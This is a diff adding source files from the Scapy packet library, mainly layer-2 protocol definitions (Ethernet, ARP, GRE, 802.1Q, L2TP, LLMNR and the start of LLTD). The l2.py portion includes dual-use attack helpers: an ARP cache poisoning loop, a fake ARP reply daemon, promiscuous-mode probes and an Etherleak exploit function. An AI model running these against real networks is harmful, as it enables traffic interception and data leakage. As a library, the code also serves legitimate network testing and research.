+bind_layers( UDP,           ISAKMP,        dport=500, sport=500)
+def ikescan(ip):
+    return sr(IP(dst=ip)/UDP()/ISAKMP(init_cookie=RandString(8),
+                                      exch_type=2)/ISAKMP_payload_SA(prop=ISAKMP_payload_Proposal()))
+
diff --git a/scapy/layers/l2.py b/scapy/layers/l2.py
new file mode 100644
index 0000000..21f29fe
--- /dev/null
+++ b/scapy/layers/l2.py
@@ -0,0 +1,603 @@
+# This file is part of Scapy
+## See http://www.secdev.org/projects/scapy for more informations
+## Copyright (C) Philippe Biondi <phil@secdev.org>
+## This program is published under a GPLv2 license
+
+"""
+Classes and functions for layer 2 protocols.
+"""
+
+from __future__ import absolute_import
+from __future__ import print_function
+import os, struct, time, socket
+
+import scapy
+from scapy.base_classes import Net
+from scapy.config import conf
+from scapy.data import *
+from scapy.compat import *
+from scapy.packet import *
+from scapy.ansmachine import *
+from scapy.plist import SndRcvList
+from scapy.fields import *
+from scapy.sendrecv import srp, srp1, srpflood
+from scapy.arch import get_if_hwaddr
+from scapy.utils import inet_ntoa, inet_aton
+from scapy.error import warning
+if conf.route is None:
+    # unused import, only to initialize conf.route
+    import scapy.route
+
+
+
+
+#################
+## Tools       ##
+#################
+
+
+class Neighbor:
+    def __init__(self):
+        self.resolvers = {}
+
+    def register_l3(self, l2, l3, resolve_method):
+        self.resolvers[l2,l3]=resolve_method
+
+    def resolve(self, l2inst, l3inst):
+        k = l2inst.__class__,l3inst.__class__
+        if k in self.resolvers:
+            return self.resolvers[k](l2inst,l3inst)
+
+    def __repr__(self):
+        return "\n".join("%-15s -> %-15s" % (l2.__name__, l3.__name__) for l2,l3 in self.resolvers)
+
+conf.neighbor = Neighbor()
+
+conf.netcache.new_cache("arp_cache", 120) # cache entries expire after 120s
+
+
+@conf.commands.register
+def getmacbyip(ip, chainCC=0):
+    """Return MAC address corresponding to a given IP address"""
+    if isinstance(ip, Net):
+        ip = next(iter(ip))
+    ip = inet_ntoa(inet_aton(ip))
+    tmp = [orb(e) for e in inet_aton(ip)]
+    if (tmp[0] & 0xf0) == 0xe0: # mcast @
+        return "01:00:5e:%.2x:%.2x:%.2x" % (tmp[1]&0x7f,tmp[2],tmp[3])
+    iff,a,gw = conf.route.route(ip)
+    if ( (iff == scapy.consts.LOOPBACK_INTERFACE) or (ip == conf.route.get_if_bcast(iff)) ):
+        return "ff:ff:ff:ff:ff:ff"
+    if gw != "0.0.0.0":
+        ip = gw
+
+    mac = conf.netcache.arp_cache.get(ip)
+    if mac:
+        return mac
+
+    res = srp1(Ether(dst=ETHER_BROADCAST)/ARP(op="who-has", pdst=ip),
+               type=ETH_P_ARP,
+               iface = iff,
+               timeout=2,
+               verbose=0,
+               chainCC=chainCC,
+               nofilter=1)
+    if res is not None:
+        mac = res.payload.hwsrc
+        conf.netcache.arp_cache[ip] = mac
+        return mac
+    return None
+
+
+
+### Fields
+
+class DestMACField(MACField):
+    def __init__(self, name):
+        MACField.__init__(self, name, None)
+    def i2h(self, pkt, x):
+        if x is None:
+            try:
+                x = conf.neighbor.resolve(pkt,pkt.payload)
+            except socket.error:
+                pass
+            if x is None:
+                x = "ff:ff:ff:ff:ff:ff"
+                warning("Mac address to reach destination not found. Using broadcast.")
+        return MACField.i2h(self, pkt, x)
+    def i2m(self, pkt, x):
+        return MACField.i2m(self, pkt, self.i2h(pkt, x))
+
+
+class SourceMACField(MACField):
+    __slots__ = ["getif"]
+    def __init__(self, name, getif=None):
+        MACField.__init__(self, name, None)
+        self.getif = ((lambda pkt: pkt.payload.route()[0])
+                      if getif is None else getif)
+    def i2h(self, pkt, x):
+        if x is None:
+            iff = self.getif(pkt)
+            if iff is None:
+                iff = conf.iface
+            if iff:
+                try:
+                    x = get_if_hwaddr(iff)
+                except:
+                    pass
+            if x is None:
+                x = "00:00:00:00:00:00"
+        return MACField.i2h(self, pkt, x)
+    def i2m(self, pkt, x):
+        return MACField.i2m(self, pkt, self.i2h(pkt, x))
+
+
+class ARPSourceMACField(SourceMACField):
+    def __init__(self, name):
+        super(ARPSourceMACField, self).__init__(
+            name,
+            getif=lambda pkt: pkt.route()[0],
+        )
+
+
+### Layers
+
+ETHER_TYPES['802_AD'] = 0x88a8
+ETHER_TYPES['802_1AE'] = ETH_P_MACSEC
+
+class Ether(Packet):
+    name = "Ethernet"
+    fields_desc = [ DestMACField("dst"),
+                    SourceMACField("src"),
+                    XShortEnumField("type", 0x9000, ETHER_TYPES) ]
+    __slots__ = ["_defrag_pos"]
+    def hashret(self):
+        return struct.pack("H",self.type)+self.payload.hashret()
+    def answers(self, other):
+        if isinstance(other,Ether):
+            if self.type == other.type:
+                return self.payload.answers(other.payload)
+        return 0
+    def mysummary(self):
+        return self.sprintf("%src% > %dst% (%type%)")
+    @classmethod
+    def dispatch_hook(cls, _pkt=None, *args, **kargs):
+        if _pkt and len(_pkt) >= 14:
+            if struct.unpack("!H", _pkt[12:14])[0] <= 1500:
+                return Dot3
+        return cls
+
+
+class Dot3(Packet):
+    name = "802.3"
+    fields_desc = [ DestMACField("dst"),
+                    MACField("src", ETHER_ANY),
+                    LenField("len", None, "H") ]
+    def extract_padding(self,s):
+        l = self.len
+        return s[:l],s[l:]
+    def answers(self, other):
+        if isinstance(other,Dot3):
+            return self.payload.answers(other.payload)
+        return 0
+    def mysummary(self):
+        return "802.3 %s > %s" % (self.src, self.dst)
+    @classmethod
+    def dispatch_hook(cls, _pkt=None, *args, **kargs):
+        if _pkt and len(_pkt) >= 14:
+            if struct.unpack("!H", _pkt[12:14])[0] > 1500:
+                return Ether
+        return cls
+
+
+class LLC(Packet):
+    name = "LLC"
+    fields_desc = [ XByteField("dsap", 0x00),
+                    XByteField("ssap", 0x00),
+                    ByteField("ctrl", 0) ]
+
+def l2_register_l3(l2, l3):
+    return conf.neighbor.resolve(l2, l3.payload)
+conf.neighbor.register_l3(Ether, LLC, l2_register_l3)
+conf.neighbor.register_l3(Dot3, LLC, l2_register_l3)
+
+
+class CookedLinux(Packet):
+    # Documentation: http://www.tcpdump.org/linktypes/LINKTYPE_LINUX_SLL.html
+    name = "cooked linux"
+    # from wireshark's database
+    fields_desc = [ ShortEnumField("pkttype",0, {0: "unicast",
+                                                 1: "broadcast",
+                                                 2: "multicast",
+                                                 3: "unicast-to-another-host",
+                                                 4:"sent-by-us"}),
+                    XShortField("lladdrtype",512),
+                    ShortField("lladdrlen",0),
+                    StrFixedLenField("src","",8),
+                    XShortEnumField("proto",0x800,ETHER_TYPES) ]
+                    
+                                   
+
+class SNAP(Packet):
+    name = "SNAP"
+    fields_desc = [ X3BytesField("OUI",0x000000),
+                    XShortEnumField("code", 0x000, ETHER_TYPES) ]
+
+conf.neighbor.register_l3(Dot3, SNAP, l2_register_l3)
+
+
+class Dot1Q(Packet):
+    name = "802.1Q"
+    aliastypes = [ Ether ]
+    fields_desc =  [ BitField("prio", 0, 3),
+                     BitField("id", 0, 1),
+                     BitField("vlan", 1, 12),
+                     XShortEnumField("type", 0x0000, ETHER_TYPES) ]
+    def answers(self, other):
+        if isinstance(other,Dot1Q):
+            if ( (self.type == other.type) and
+                 (self.vlan == other.vlan) ):
+                return self.payload.answers(other.payload)
+        else:
+            return self.payload.answers(other)
+        return 0
+    def default_payload_class(self, pay):
+        if self.type <= 1500:
+            return LLC
+        return conf.raw_layer
+    def extract_padding(self,s):
+        if self.type <= 1500:
+            return s[:self.type],s[self.type:]
+        return s,None
+    def mysummary(self):
+        if isinstance(self.underlayer, Ether):
+            return self.underlayer.sprintf("802.1q %Ether.src% > %Ether.dst% (%Dot1Q.type%) vlan %Dot1Q.vlan%")
+        else:
+            return self.sprintf("802.1q (%Dot1Q.type%) vlan %Dot1Q.vlan%")
+
+            
+conf.neighbor.register_l3(Ether, Dot1Q, l2_register_l3)
+
+class STP(Packet):
+    name = "Spanning Tree Protocol"
+    fields_desc = [ ShortField("proto", 0),
+                    ByteField("version", 0),
+                    ByteField("bpdutype", 0),
+                    ByteField("bpduflags", 0),
+                    ShortField("rootid", 0),
+                    MACField("rootmac", ETHER_ANY),
+                    IntField("pathcost", 0),
+                    ShortField("bridgeid", 0),
+                    MACField("bridgemac", ETHER_ANY),
+                    ShortField("portid", 0),
+                    BCDFloatField("age", 1),
+                    BCDFloatField("maxage", 20),
+                    BCDFloatField("hellotime", 2),
+                    BCDFloatField("fwddelay", 15) ]
+
+
+class ARP(Packet):
+    name = "ARP"
+    fields_desc = [ XShortField("hwtype", 0x0001),
+                    XShortEnumField("ptype",  0x0800, ETHER_TYPES),
+                    ByteField("hwlen", 6),
+                    ByteField("plen", 4),
+                    ShortEnumField("op", 1, {"who-has":1, "is-at":2, "RARP-req":3, "RARP-rep":4, "Dyn-RARP-req":5, "Dyn-RAR-rep":6, "Dyn-RARP-err":7, "InARP-req":8, "InARP-rep":9}),
+                    ARPSourceMACField("hwsrc"),
+                    SourceIPField("psrc","pdst"),
+                    MACField("hwdst", ETHER_ANY),
+                    IPField("pdst", "0.0.0.0") ]
+    who_has = 1
+    is_at = 2
+    def answers(self, other):
+        if isinstance(other,ARP):
+            if ( (self.op == self.is_at) and
+                 (other.op == self.who_has) and
+                 (self.psrc == other.pdst) ):
+                return 1
+        return 0
+    def route(self):
+        dst = self.pdst
+        if isinstance(dst,Gen):
+            dst = next(iter(dst))
+        return conf.route.route(dst)
+    def extract_padding(self, s):
+        return "",s
+    def mysummary(self):
+        if self.op == self.is_at:
+            return self.sprintf("ARP is at %hwsrc% says %psrc%")
+        elif self.op == self.who_has:
+            return self.sprintf("ARP who has %pdst% says %psrc%")
+        else:
+            return self.sprintf("ARP %op% %psrc% > %pdst%")
+                 
+def l2_register_l3_arp(l2, l3):
+    return getmacbyip(l3.pdst)
+conf.neighbor.register_l3(Ether, ARP, l2_register_l3_arp)
+
+class GRErouting(Packet):
+    name = "GRE routing informations"
+    fields_desc = [ ShortField("address_family",0),
+                    ByteField("SRE_offset", 0),
+                    FieldLenField("SRE_len", None, "routing_info", "B"),
+                    StrLenField("routing_info", "", "SRE_len"),
+                    ]
+
+
+class GRE(Packet):
+    name = "GRE"
+    fields_desc = [ BitField("chksum_present",0,1),
+                    BitField("routing_present",0,1),
+                    BitField("key_present",0,1),
+                    BitField("seqnum_present",0,1),
+                    BitField("strict_route_source",0,1),
+                    BitField("recursion_control",0,3),
+                    BitField("flags",0,5),
+                    BitField("version",0,3),
+                    XShortEnumField("proto", 0x0000, ETHER_TYPES),
+                    ConditionalField(XShortField("chksum",None), lambda pkt:pkt.chksum_present==1 or pkt.routing_present==1),
+                    ConditionalField(XShortField("offset",None), lambda pkt:pkt.chksum_present==1 or pkt.routing_present==1),
+                    ConditionalField(XIntField("key",None), lambda pkt:pkt.key_present==1),
+                    ConditionalField(XIntField("seqence_number",None), lambda pkt:pkt.seqnum_present==1),
+                    ]
+
+    @classmethod
+    def dispatch_hook(cls, _pkt=None, *args, **kargs):
+        if _pkt and struct.unpack("!H", _pkt[2:4])[0] == 0x880b:
+            return GRE_PPTP
+        return cls
+
+    def post_build(self, p, pay):
+        p += pay
+        if self.chksum_present and self.chksum is None:
+            c = checksum(p)
+            p = p[:4]+chb((c>>8)&0xff)+chb(c&0xff)+p[6:]
+        return p
+
+
+class GRE_PPTP(GRE):
+
+    """
+    Enhanced GRE header used with PPTP
+    RFC 2637
+    """
+
+    name = "GRE PPTP"
+    fields_desc = [BitField("chksum_present", 0, 1),
+                   BitField("routing_present", 0, 1),
+                   BitField("key_present", 1, 1),
+                   BitField("seqnum_present", 0, 1),
+                   BitField("strict_route_source", 0, 1),
+                   BitField("recursion_control", 0, 3),
+                   BitField("acknum_present", 0, 1),
+                   BitField("flags", 0, 4),
+                   BitField("version", 1, 3),
+                   XShortEnumField("proto", 0x880b, ETHER_TYPES),
+                   ShortField("payload_len", None),
+                   ShortField("call_id", None),
+                   ConditionalField(XIntField("seqence_number", None), lambda pkt: pkt.seqnum_present == 1),
+                   ConditionalField(XIntField("ack_number", None), lambda pkt: pkt.acknum_present == 1)]
+
+    def post_build(self, p, pay):
+        p += pay
+        if self.payload_len is None:
+            pay_len = len(pay)
+            p = p[:4] + chb((pay_len >> 8) & 0xff) + chb(pay_len & 0xff) + p[6:]
+        return p
+
+
+### *BSD loopback layer
+
+class LoIntEnumField(EnumField):
+    def __init__(self, name, default, enum):
+        EnumField.__init__(self, name, default, enum, "!I")
+
+    def m2i(self, pkt, x):
+        return x >> 24
+
+    def i2m(self, pkt, x):
+        return x << 24
+
+LOOPBACK_TYPES = { 0x2: "IPv4", 0x1c: "IPv6" }
+
+class Loopback(Packet):
+    """*BSD loopback layer"""
+
+    name = "Loopback"
+    fields_desc = [ LoIntEnumField("type", 0x2, LOOPBACK_TYPES) ]
+    __slots__ = ["_defrag_pos"]
+
+
+class Dot1AD(Dot1Q):
+    name = '802_1AD'
+
+
+bind_layers( Dot3,          LLC,           )
+bind_layers( Ether,         LLC,           type=122)
+bind_layers( Ether,         LLC,           type=34928)
+bind_layers( Ether,         Dot1Q,         type=33024)
+bind_layers( Ether,         Dot1AD,        type=0x88a8)
+bind_layers( Dot1AD,        Dot1AD,        type=0x88a8)
+bind_layers( Dot1AD,        Dot1Q,         type=0x8100)
+bind_layers( Dot1Q,         Dot1AD,        type=0x88a8)
+bind_layers( Ether,         Ether,         type=1)
+bind_layers( Ether,         ARP,           type=2054)
+bind_layers( CookedLinux,   LLC,           proto=122)
+bind_layers( CookedLinux,   Dot1Q,         proto=33024)
+bind_layers( CookedLinux,   Dot1AD,        type=0x88a8)
+bind_layers( CookedLinux,   Ether,         proto=1)
+bind_layers( CookedLinux,   ARP,           proto=2054)
+bind_layers( GRE,           LLC,           proto=122)
+bind_layers( GRE,           Dot1Q,         proto=33024)
+bind_layers( GRE,           Dot1AD,        type=0x88a8)
+bind_layers( GRE,           Ether,         proto=0x6558)
+bind_layers( GRE,           ARP,           proto=2054)
+bind_layers( GRE,           GRErouting,    { "routing_present" : 1 } )
+bind_layers( GRErouting,    conf.raw_layer,{ "address_family" : 0, "SRE_len" : 0 })
+bind_layers( GRErouting,    GRErouting,    { } )
+bind_layers( LLC,           STP,           dsap=66, ssap=66, ctrl=3)
+bind_layers( LLC,           SNAP,          dsap=170, ssap=170, ctrl=3)
+bind_layers( SNAP,          Dot1Q,         code=33024)
+bind_layers( SNAP,          Dot1AD,        type=0x88a8)
+bind_layers( SNAP,          Ether,         code=1)
+bind_layers( SNAP,          ARP,           code=2054)
+bind_layers( SNAP,          STP,           code=267)
+
+conf.l2types.register(ARPHDR_ETHER, Ether)
+conf.l2types.register_num2layer(ARPHDR_METRICOM, Ether)
+conf.l2types.register_num2layer(ARPHDR_LOOPBACK, Ether)
+conf.l2types.register_layer2num(ARPHDR_ETHER, Dot3)
+conf.l2types.register(DLT_LINUX_SLL, CookedLinux)
+conf.l2types.register_num2layer(DLT_LINUX_IRDA, CookedLinux)
+conf.l2types.register(DLT_LOOP, Loopback)
+conf.l2types.register_num2layer(DLT_NULL, Loopback)
+
+conf.l3types.register(ETH_P_ARP, ARP)
+
+
+
+
+### Technics
+
+
+
+@conf.commands.register
+def arpcachepoison(target, victim, interval=60):
+    """Poison target's cache with (your MAC,victim's IP) couple
+arpcachepoison(target, victim, [interval=60]) -> None
+"""
+    tmac = getmacbyip(target)
+    p = Ether(dst=tmac)/ARP(op="who-has", psrc=victim, pdst=target)
+    try:
+        while True:
+            sendp(p, iface_hint=target)
+            if conf.verb > 1:
+                os.write(1, b".")
+            time.sleep(interval)
+    except KeyboardInterrupt:
+        pass
+
+
+class ARPingResult(SndRcvList):
+    def __init__(self, res=None, name="ARPing", stats=None):
+        SndRcvList.__init__(self, res, name, stats)
+
+    def show(self):
+        for s,r in self.res:
+            print(r.sprintf("%19s,Ether.src% %ARP.psrc%"))
+
+
+
+@conf.commands.register
+def arping(net, timeout=2, cache=0, verbose=None, **kargs):
+    """Send ARP who-has requests to determine which hosts are up
+arping(net, [cache=0,] [iface=conf.iface,] [verbose=conf.verb]) -> None
+Set cache=True if you want arping to modify internal ARP-Cache"""
+    if verbose is None:
+        verbose = conf.verb
+    ans,unans = srp(Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(pdst=net), verbose=verbose,
+                    filter="arp and arp[7] = 2", timeout=timeout, iface_hint=net, **kargs)
+    ans = ARPingResult(ans.res)
+
+    if cache and ans is not None:
+        for pair in ans:
+            conf.netcache.arp_cache[pair[1].psrc] = (pair[1].hwsrc, time.time())
+    if verbose:
+        ans.show()
+    return ans,unans
+
+@conf.commands.register
+def is_promisc(ip, fake_bcast="ff:ff:00:00:00:00",**kargs):
+    """Try to guess if target is in Promisc mode. The target is provided by its ip."""
+
+    responses = srp1(Ether(dst=fake_bcast) / ARP(op="who-has", pdst=ip),type=ETH_P_ARP, iface_hint=ip, timeout=1, verbose=0,**kargs)
+
+    return responses is not None
+
+@conf.commands.register
+def promiscping(net, timeout=2, fake_bcast="ff:ff:ff:ff:ff:fe", **kargs):
+    """Send ARP who-has requests to determine which hosts are in promiscuous mode
+    promiscping(net, iface=conf.iface)"""
+    ans,unans = srp(Ether(dst=fake_bcast)/ARP(pdst=net),
+                    filter="arp and arp[7] = 2", timeout=timeout, iface_hint=net, **kargs)
+    ans = ARPingResult(ans.res, name="PROMISCPing")
+
+    ans.display()
+    return ans,unans
+
+
+class ARP_am(AnsweringMachine):
+    """Fake ARP Relay Daemon (farpd)
+
+    example:
+    To respond to an ARP request for 192.168.100 replying on the
+    ingress interface;
+      farpd(IP_addr='192.168.1.100',ARP_addr='00:01:02:03:04:05')
+    To respond on a different interface add the interface parameter
+      farpd(IP_addr='192.168.1.100',ARP_addr='00:01:02:03:04:05',iface='eth0')
+    To respond on ANY arp request on an interface with mac address ARP_addr
+      farpd(ARP_addr='00:01:02:03:04:05',iface='eth1')
+    To respond on ANY arp request with my mac addr on the given interface
+      farpd(iface='eth1')
+
+    Optional Args
+     inter=<n>   Interval in seconds between ARP replies being sent
+    
+    """
+
+    function_name="farpd"
+    filter = "arp"
+    send_function = staticmethod(sendp)
+
+    def parse_options(self, IP_addr=None, ARP_addr=None):
+        self.IP_addr=IP_addr
+        self.ARP_addr=ARP_addr
+
+    def is_request(self, req):
+        return (req.haslayer(ARP) and
+                req.getlayer(ARP).op == 1 and
+                (self.IP_addr == None or self.IP_addr == req.getlayer(ARP).pdst))
+    
+    def make_reply(self, req):
+        ether = req.getlayer(Ether)
+        arp = req.getlayer(ARP)
+
+        if 'iface' in self.optsend:
+            iff = self.optsend.get('iface')
+        else:
+            iff,a,gw = conf.route.route(arp.psrc)
+        self.iff = iff
+        if self.ARP_addr is None:
+            try:
+                ARP_addr = get_if_hwaddr(iff)
+            except:
+                ARP_addr = "00:00:00:00:00:00"
+                pass
+        else:
+            ARP_addr = self.ARP_addr
+        resp = Ether(dst=ether.src,
+                     src=ARP_addr)/ARP(op="is-at",
+                                       hwsrc=ARP_addr,
+                                       psrc=arp.pdst,
+                                       hwdst=arp.hwsrc,
+                                       pdst=arp.psrc)
+        return resp
+
+    def send_reply(self, reply):
+        if 'iface' in self.optsend:
+            self.send_function(reply, **self.optsend)
+        else:
+            self.send_function(reply, iface=self.iff, **self.optsend)
+
+    def print_reply(self, req, reply):
+        print("%s ==> %s on %s" % (req.summary(),reply.summary(),self.iff))
+
+
+@conf.commands.register
+def etherleak(target, **kargs):
+    """Exploit Etherleak flaw"""
+    return srpflood(Ether()/ARP(pdst=target), 
+                    prn=lambda s_r: conf.padding_layer in s_r[1] and hexstr(s_r[1][conf.padding_layer].load),
+                    filter="arp", **kargs)
+
+
diff --git a/scapy/layers/l2tp.py b/scapy/layers/l2tp.py
new file mode 100644
index 0000000..749f235
--- /dev/null
+++ b/scapy/layers/l2tp.py
@@ -0,0 +1,49 @@
+## This file is part of Scapy
+## See http://www.secdev.org/projects/scapy for more informations
+## Copyright (C) Philippe Biondi <phil@secdev.org>
+## This program is published under a GPLv2 license
+
+"""
+L2TP (Layer 2 Tunneling Protocol) for VPNs.
+
+[RFC 2661]
+"""
+
+import struct
+
+from scapy.packet import *
+from scapy.fields import *
+from scapy.layers.inet import UDP
+from scapy.layers.ppp import PPP
+
+
+class L2TP(Packet):
+    name = "L2TP"
+    fields_desc = [ 
+                    FlagsField("hdr", 0, 12, ['res00', 'res01', 'res02', 'res03', 'priority', 'offset',
+                                              'res06', 'sequence', 'res08', 'res09', 'length', 'control']),
+                    BitEnumField("version", 2, 4, {2: 'L2TPv2'}),
+
+                    ConditionalField(ShortField("len", 0),
+                        lambda pkt: pkt.hdr & 'control+length'),
+                    ShortField("tunnel_id", 0),
+                    ShortField("session_id", 0),
+                    ConditionalField(ShortField("ns", 0),
+                        lambda pkt: pkt.hdr & 'sequence+control'),
+                    ConditionalField(ShortField("nr", 0),
+                        lambda pkt: pkt.hdr & 'sequence+control'),
+                    ConditionalField(
+                        PadField(ShortField("offset", 0), 4, b"\x00"),
+                        lambda pkt: not (pkt.hdr & 'control') and pkt.hdr & 'offset'
+                        )
+                    ]
+
+    def post_build(self, pkt, pay):
+        if self.len is None:
+            l = len(pkt)+len(pay)
+            pkt = pkt[:2]+struct.pack("!H", l)+pkt[4:]
+        return pkt+pay
+
+
+bind_layers( UDP,           L2TP,          sport=1701, dport=1701)
+bind_layers( L2TP,          PPP,           )
diff --git a/scapy/layers/llmnr.py b/scapy/layers/llmnr.py
new file mode 100644
index 0000000..3b879bb
--- /dev/null
+++ b/scapy/layers/llmnr.py
@@ -0,0 +1,65 @@
+from scapy.fields import *
+from scapy.packet import *
+from scapy.layers.inet import UDP
+from scapy.layers.dns import DNSQRField, DNSRRField, DNSRRCountField
+
+"""
+LLMNR (Link Local Multicast Node Resolution).
+
+[RFC 4795]
+"""
+
+#############################################################################
+###                           LLMNR (RFC4795)                             ###
+#############################################################################
+# LLMNR is based on the DNS packet format (RFC1035 Section 4)
+# RFC also envisions LLMNR over TCP. Like vista, we don't support it -- arno
+
+_LLMNR_IPv6_mcast_Addr = "FF02:0:0:0:0:0:1:3"
+_LLMNR_IPv4_mcast_addr = "224.0.0.252"
+
+class LLMNRQuery(Packet):
+    name = "Link Local Multicast Node Resolution - Query"
+    fields_desc = [ ShortField("id", 0),
+                    BitField("qr", 0, 1),
+                    BitEnumField("opcode", 0, 4, { 0:"QUERY" }),
+                    BitField("c", 0, 1),
+                    BitField("tc", 0, 2),
+                    BitField("z", 0, 4),
+                    BitEnumField("rcode", 0, 4, { 0:"ok" }),
+                    DNSRRCountField("qdcount", None, "qd"),
+                    DNSRRCountField("ancount", None, "an"),
+                    DNSRRCountField("nscount", None, "ns"),
+                    DNSRRCountField("arcount", None, "ar"),
+                    DNSQRField("qd", "qdcount"),
+                    DNSRRField("an", "ancount"),
+                    DNSRRField("ns", "nscount"),
+                    DNSRRField("ar", "arcount",0)]
+    overload_fields = {UDP: {"sport": 5355, "dport": 5355 }}
+    def hashret(self):
+        return struct.pack("!H", self.id)
+
+class LLMNRResponse(LLMNRQuery):
+    name = "Link Local Multicast Node Resolution - Response"
+    qr = 1
+    def answers(self, other):
+        return (isinstance(other, LLMNRQuery) and
+                self.id == other.id and
+                self.qr == 1 and
+                other.qr == 0)
+
+def _llmnr_dispatcher(x, *args, **kargs):
+    cls = conf.raw_layer
+    if len(x) >= 2:
+        if (orb(x[2]) & 0x80): # Response
+            cls = LLMNRResponse
+        else:                  # Query
+            cls = LLMNRQuery
+    return cls(x, *args, **kargs)
+
+bind_bottom_up(UDP, _llmnr_dispatcher, { "dport": 5355 })
+bind_bottom_up(UDP, _llmnr_dispatcher, { "sport": 5355 })
+
+# LLMNRQuery(id=RandShort(), qd=DNSQR(qname="vista.")))
+
+
diff --git a/scapy/layers/lltd.py b/scapy/layers/lltd.py
new file mode 100644
index 0000000..3ef01d2
--- /dev/null
+++ b/scapy/layers/lltd.py
@@ -0,0 +1,843 @@
+# This file is part of Scapy
+# See http://www.secdev.org/projects/scapy for more informations
+# Copyright (C) Philippe Biondi <phil@secdev.org>
+# This program is published under a GPLv2 license
+
+"""LLTD Protocol
+
+https://msdn.microsoft.com/en-us/library/cc233983.aspx
+
+"""
+
+from __future__ import absolute_import
+from array import array
+
+from scapy.fields import BitField, FlagsField, ByteField, ByteEnumField, \
+    ShortField, ShortEnumField, ThreeBytesField, IntField, IntEnumField, \
+    LongField, MultiEnumField, FieldLenField, FieldListField, \
+    PacketListField, StrLenField, StrLenFieldUtf16, ConditionalField, MACField
+from scapy.packet import Packet, Padding, bind_layers
+from scapy.plist import PacketList
+from scapy.layers.l2 import Ether
+from scapy.layers.inet import IPField
+from scapy.layers.inet6 import IP6Field
+from scapy.data import ETHER_ANY
+import scapy.modules.six as six
+from scapy.compat import *
+
+
+# Protocol layers
+##################
+
+
+class LLTD(Packet):
+    name = "LLTD"
+    answer_hashret = {
+        # (tos, function) tuple mapping (answer -> query), used by
+        # .hashret()
+        (1, 1): (0, 0),
+        (0, 12): (0, 11),
+    }
+    fields_desc = [
+        ByteField("version", 1),
+        ByteEnumField("tos", 0, {
+            0: "Topology discovery",
+            1: "Quick discovery",
+            2: "QoS diagnostics",
+        }),
+        ByteField("reserved", 0),
+        MultiEnumField("function", 0, {
+            0: {
+                0: "Discover",
+                1: "Hello",
+                2: "Emit",
+                3: "Train",
+                4: "Probe",
+                5: "Ack",
+                6: "Query",
+                7: "QueryResp",
+                8: "Reset",
+                9: "Charge",
+                10: "Flat",
+                11: "QueryLargeTlv",
+                12: "QueryLargeTlvResp",
+            },
+            1: {
+                0: "Discover",
+                1: "Hello",
+                8: "Reset",
+            },
+            2: {
+                0: "QosInitializeSink",
+                1: "QosReady",
+                2: "QosProbe",
+                3: "QosQuery",
+                4: "QosQueryResp",
+                5: "QosReset",
+                6: "QosError",
+                7: "QosAck",
+                8: "QosCounterSnapshot",
+                9: "QosCounterResult",
+                10: "QosCounterLease",
+            },
+        }, depends_on=lambda pkt: pkt.tos, fmt="B"),
+        MACField("real_dst", None),
+        MACField("real_src", None),
+        ConditionalField(ShortField("xid", 0),
+                         lambda pkt: pkt.function in [0, 8]),
+        ConditionalField(ShortField("seq", 0),
+                         lambda pkt: pkt.function not in [0, 8]),
+    ]
+
+    def post_build(self, pkt, pay):
+        if (self.real_dst is None or self.real_src is None) and \
+           isinstance(self.underlayer, Ether):
+            eth = self.underlayer
+            if self.real_dst is None:
+                pkt = (pkt[:4] + eth.fields_desc[0].i2m(eth, eth.dst) +
+                       pkt[10:])
+            if self.real_src is None:
+                pkt = (pkt[:10] + eth.fields_desc[1].i2m(eth, eth.src) +
+                       pkt[16:])
+        return pkt + pay
+
+    def mysummary(self):
+        if isinstance(self.underlayer, Ether):
+            return self.underlayer.sprintf(
+                'LLTD %src% > %dst% %LLTD.tos% - %LLTD.function%'
+            )
+        else:
+            return self.sprintf('LLTD %tos% - %function%')
+
+    def hashret(self):
+        tos, function = self.tos, self.function
+        return "%c%c" % self.answer_hashret.get((tos, function),
+                                                (tos, function))
+
+    def answers(self, other):
+        if not isinstance(other, LLTD):
+            return False
+        if self.tos == 0:
+            if self.function == 0 and isinstance(self.payload, LLTDDiscover) \
+               and len(self[LLTDDiscover].stations_list) == 1:
+                # "Topology discovery - Discover" with one MAC address
+                # discovered answers a "Quick discovery - Hello"
+                return other.tos == 1 and \
+                    other.function == 1 and \
+                    LLTDAttributeHostID in other and \
+                    other[LLTDAttributeHostID].mac == \
+                    self[LLTDDiscover].stations_list[0]
+            elif self.function == 12:
+                # "Topology discovery - QueryLargeTlvResp" answers
+                # "Topology discovery - QueryLargeTlv" with same .seq
+                # value
+                return other.tos == 0 and other.function == 11 \
+                    and other.seq == self.seq
+        elif self.tos == 1:
+            if self.function == 1 and isinstance(self.payload, LLTDHello):
+                # "Quick discovery - Hello" answers a "Topology
+                # discovery - Discover"
+                return other.tos == 0 and other.function == 0 and \
+                    other.real_src == self.current_mapper_address
+        return False
+
+
+class LLTDHello(Packet):
+    name = "LLTD - Hello"
+    show_summary = False
+    fields_desc = [
+        ShortField("gen_number", 0),
+        MACField("current_mapper_address", ETHER_ANY),
+        MACField("apparent_mapper_address", ETHER_ANY),
+    ]
+
+
+class LLTDDiscover(Packet):
+    name = "LLTD - Discover"
+    fields_desc = [
+        ShortField("gen_number", 0),
+        FieldLenField("stations_count", None, count_of="stations_list",
+                      fmt="H"),
+        FieldListField("stations_list", [], MACField("", ETHER_ANY),
+                       count_from=lambda pkt: pkt.stations_count)
+    ]
+
+    def mysummary(self):
+        return (self.sprintf("Stations: %stations_list%")
+                if self.stations_list else "No station", [LLTD])
+
+
+class LLTDEmiteeDesc(Packet):
+    name = "LLTD - Emitee Desc"
+    fields_desc = [
+        ByteEnumField("type", 0, {0: "Train", 1: "Probe"}),
+        ByteField("pause", 0),
+        MACField("src", None),
+        MACField("dst", ETHER_ANY),
+    ]
+
+
+class LLTDEmit(Packet):
+    name = "LLTD - Emit"
+    fields_desc = [
+        FieldLenField("descs_count", None, count_of="descs_list",
+                      fmt="H"),
+        PacketListField("descs_list", [], LLTDEmiteeDesc,
+                        count_from=lambda pkt: pkt.descs_count),
+    ]
+
+    def mysummary(self):
+        return ", ".join(desc.sprintf("%src% > %dst%")
+                         for desc in self.descs_list), [LLTD]
+
+
+class LLTDRecveeDesc(Packet):
+    name = "LLTD - Recvee Desc"
+    fields_desc = [
+        ShortEnumField("type", 0, {0: "Probe", 1: "ARP or ICMPv6"}),
+        MACField("real_src", ETHER_ANY),
+        MACField("ether_src", ETHER_ANY),
+        MACField("ether_dst", ETHER_ANY),
+    ]
+
+
+class LLTDQueryResp(Packet):
+    name = "LLTD - Query Response"
+    fields_desc = [
+        FlagsField("flags", 0, 2, "ME"),
+        BitField("descs_count", None, 14),
+        PacketListField("descs_list", [], LLTDRecveeDesc,
